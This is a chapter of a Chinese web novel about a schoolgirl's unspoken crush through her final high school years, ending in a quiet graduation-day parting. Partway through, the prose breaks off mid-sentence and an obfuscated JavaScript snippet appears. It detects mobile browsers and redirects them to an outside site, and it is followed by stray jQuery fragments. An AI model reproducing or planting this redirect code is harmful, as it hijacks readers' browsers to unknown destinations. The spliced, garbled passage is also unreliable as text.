从高二开始，每个班的老师都开始积极地打击早恋。


    据说是因为有天晚自习的课间，政教处主任闲着没事溜达，结果在操场旁边的小树林抓了六对半。


    为什么还有半这个量词，那是因为那半对是两个男生。


    政教处主任气得脸色铁青，打电话给各班班主任，让她们亲自过来提人。


    自那以后，抑制早恋风气的行动就彻底开始了。


    霍青青和沈南亭这一对，因为成绩下滑，成为被重点整治的对象。


    双方都被叫了家长，沈南亭父母的话说得要多难听有多难听。


    霍青青父母也不甘示弱，双方家长在办公室展开的骂架那一层楼都能听见。


    这件事到了最后，直接勒令两人分手，沈南亭转到理科班为止。


    自那以后，霍青青消沉了很多。


    喻柠几乎很难在霍青青脸上看到像以前那样，阳光灿烂的笑容。


    甚至喻柠把珍藏多年的作者亲签本小说送给她，霍青青也提不起兴趣。


    至于沈南亭，似乎在理科班更加如鱼得水，没看出来受什么影响。


    毕竟他到哪里，都是呼朋唤友。


    周末在奶茶店里，霍青青先是哭，然后又愤愤地说：“喻柠，男人果然没有一个好东西。小说里都是骗人的。我要好好学习！气死他！”


    喻柠轻声说：“好。”


    ……


    高二下学期，学校给高中部主办了校园艺术节。


    高一到高二，每个班都要出一个节目。


    有的班是大合唱，有的班的是个人独唱，还有什么小提琴、钢琴演奏，小品，相声，魔术，汉服走秀……


    总之能人辈出。


    喻柠所在的568班，决定排演语文课本上的那篇《窦娥冤》。


    霍青青正愁一肚子火没地方发泄，直接和江月白竞争起窦娥这个女主角色。


    可惜霍青青落败，最后只能委屈一下，参演蔡婆婆这一重磅角色。


    很快其他人选比如赛卢医、张驴儿、窦天章、太守等都定好了人。


    本来，老师分给喻柠的任务是帮忙修改完善剧本，但霍青青想排练的时候也和喻柠在一起，就极力推荐她随便演个炮灰。


    “老师，太守身边总要有点衙役、书吏什么的吧，不然太守也太跌份了。”霍青青说。


    老师笑了：“那喻柠，你来演个书吏？”


    老师的要求和霍青青的撒娇，喻柠都没法拒绝，她笑着答应了。


    排练的时候，喻柠不觉得有什么问题，可是真到艺术节那天，要换上租来的戏服，真刀真枪地上去演，她感觉自己的心脏在疯狂跳动。


    她知道，宋宸安也会在台下看表演。


    话剧排演了无数遍，早就形成了肌肉记忆。


    喻柠听着同学们念台词，她则在该出场时出场，几乎没什么存在感地站在太守大人身旁。


    台下的照相机还有手机的拍摄声响个不停，等到这场话剧演完，掌声雷动。


    他们所有人站成两排，一齐鞠躬谢幕。


    喻柠明明没有特意在台下的人群里寻找宋宸安的身影，可是只往台下扫了一眼，她还是精准捕捉到了那抹身影。


    宋宸安今天穿着一身黑色的西装，里面搭着白衬衫，连头发都做过造型。


    平时穿校服都能引起不少人回头，心动的人，今天在人群里更是实打实的显眼。


    喻柠仓皇收回目光，跟着班里的去了后台。


    等她换了戏服，回到观众席上时，已经又过了一个节目，正好听到主持人新一轮的播报。


    “青春最动人的不是轰轰烈烈，而是那些我们要在很多年回想起来，还会心动的小瞬间。现在有请高二567班宋宸安同学，演唱苏打绿的《小情歌》！”


    在一片掌声中，喻柠看见宋宸安走到了舞台中间。


    “这是一首简单的小情歌……”


    宋宸安说话的声音总是带着一股难以亲近的冷味，可唱起歌来，却能让人听得心里又麻又酥。


    当他唱到“你知道，就算大雨让这座城市颠倒……”，全场沸腾，高二年级很多人都站起来，选择和宋宸安一起合唱。


    他是人群的焦点，他是世界的中心，他是点燃一切的源头。


    喻柠站在人群里，感受着所有人的疯狂，目不直视地看着舞台上闪耀的星星。


    她想用眼睛，永远记住这一刻。


    艺术节过后，大家都在讨论宋宸安这首《小情歌》是为谁而唱的。


    没过多久，就传出宋宸安和江月白是一对的消息。


    为此还有人在一中的贴吧盖楼，从蛛丝马迹分析他俩在一起的各种证据。


    此楼高达3000+，可惜最后被吧主一封了之，实在令人遗憾。


    ……


    有时候，喻柠也会在学校里碰到宋宸安。


    毕竟同年级的人，上学放学，上体育课，开大会，体检……有各种各样的机会可以遇上。


    只不过遇上也只是遇上。


    他们两个人之间，就像从来没有做过同桌一样，都是目不斜视地路过彼此。


    喻柠自从到了文科班，就一直稳步在年级前十名，偶尔有几次也能到前五名。


    除了学习，她有了更多的时间做自己的事。


    她依然看小说，偶尔也会动手写几篇投稿。


    最能让她转移注意力的是，在贴吧连载《盗墓笔记》的瓶邪同人文。


    她在贴吧开贴连载的好几篇同人，都有几百号人追看。


    喻柠每天上完晚自习回去，打开贴吧都能看到好多未读消息。


    学习加上业余爱好，喻柠很少再陷入痛苦的时刻。


    但玻璃罐又增加了几个，里面都是满满当当的星星。每天一颗星星，从来没有改变。


    NingA的日记本，也已经记录到了第二本。


    她在日记本上写的东西，很多都是流水账一样的，想到哪就写到哪：


    今天上完体育课去水龙头那洗手的时候，我看到宋宸安也在那里。我假装没有看到他，可是我放慢了洗手的动作，洗了好几遍。他走得很快。


    今天我在去学校路上看到了宋宸安。他手里提着的袋子装了猫罐头，我知道他要去喂咕噜。我又像以前一样，躲在楼道里，偷偷地看着他。


    今天我听说宋宸安要过生日，567班的人在商量给他送什么生日礼物。我买了很多糖，但我一颗都没有送出去。


    今天是周末，我来教室上自习。567班教室里零零散散地坐着一两个人。我站在走廊上假装在等人，但是看着他的座位发了很久的呆。


    诸如此类。


    NingA的日记本里，永远只有两个主角，一个是她，一个是宋宸安。


    只是后来，这些日记里又出现了一个新的角色，江月白。


    本子的某一页上皱皱巴巴的，像是眼泪干涸以后的痕迹。


    ……


    高三就像初三一样，所有的一切都自动调整倍速。


    课间不再有人嬉戏打闹，有的人趴着补觉，有的人去办公室问老师


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828243|175449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    题目。


    每个人都加快了学习节奏，每个人的心跳都像教室最前面的挂钟一样，滴滴答答的。


    老师在教室后面设了一个理想栏，让每个人写好自己的理想大学贴上去。


    霍青青写了中国政法大学。


    喻柠本来想远离北京，打算写四川大学，但是霍青青一个劲地让她必须也报北京，于是喻柠写了中国人民大学。


    人大的考古学专业在全国排名前十，实力也非常雄厚。


    大家看着理想栏，仿佛已经看到高考出分那天，真正填报志愿的时候。


    “还是宋宸安好啊，高二就通过奥林匹克竞赛国家集训队，直接保送清华了。”


    “羡慕不来的。他现在想来就来，不想来就不来，苍天啊，我也想这样。”


    霍青青仿佛没听到，她握着拳头：“学！只要学不死，就往死里学！”


    江月白笑了笑，把她的理想大学贴上去，赫然写着北京大学。


    有人问：“月白，宋宸安保送清华，你怎么不选清华选北大。”


    江月白的笑容更浓了，还多了一分羞涩：“清华严谨，北大浪漫，反正他在那里，以后我可以去清华蹭课嘛~”


    一句话，默认了她和宋宸安的关系。


    江月白走向喻柠：“喻柠，其实你的成绩也可以冲一下北大，不要太保守了。冲不上，又没什么丢人的。”


    喻柠写字的手顿住，她抬头看着江月白：“谢谢。”


    简简单单的两个字，让江月白没有了和喻柠聊天的兴致。


    宋宸安很久都没有出现在学校，偶尔出现，也是直接去计算机教室里提前学习大一的课程。


    当他再出现在众人眼中，已经到了拍高三毕业照的时候。


    有的班租了民国服，有的是汉服，有的则是哈利波特的魔法袍，大家奇装异服，在操场上到处撒欢。


    “听说我们这届毕业后，高考就要改革了。”


    “何止啊，我们毕业后一中都要搬迁了。”


    “那以后想回母校看看怎么办？”


    “凉拌，还不如现在多看几眼。”


    大家七嘴八舌地聊着天，试图化解对未来的迷茫和高考马上就要到来的恐惧感。


    喻柠绕到教师宿舍那里，打算和咕噜也多拍几张照片。


    “咕噜，听说以后这里就要变成另一个中学了。我也马上就要毕业了，你会想我吗？”


    “想我也没关系，我只要放假就回来看你。”


    “来，看我，给你多拍几张照片。”


    喻柠对着咕噜，总是有说不完的话。


    宋宸安的脚步声，喻柠听过很多次，她很熟悉。这一次，喻柠没有躲避，她抱着咕噜转头看着宋宸安。


    宋宸安走过来，没有看喻柠，只是伸手挠了挠咕噜的下巴。


    “还没恭喜你。”喻柠说。


    这大概是自从高二那次以后，两人说过的第一句话。连说话的声音在彼此的耳朵里，都变得恍惚和陌生。


    “什么？”


    “你之前保送清华，还没恭喜你。”


    “嗯。谢谢。”


    宋宸安往咕噜碗里倒了一些冻干，说道：“听说你想报人大。挺好的，希望你们如愿以偿，一切顺利。”


    你们？哪来的们呢？


    喻柠不知道。


    但这不妨碍她笑着说：“谢谢。”


    梧桐树的树影投在他们身上，一个向左，一个向右。


    原来青春终结的时候，只是这么一个极其不起眼的瞬间。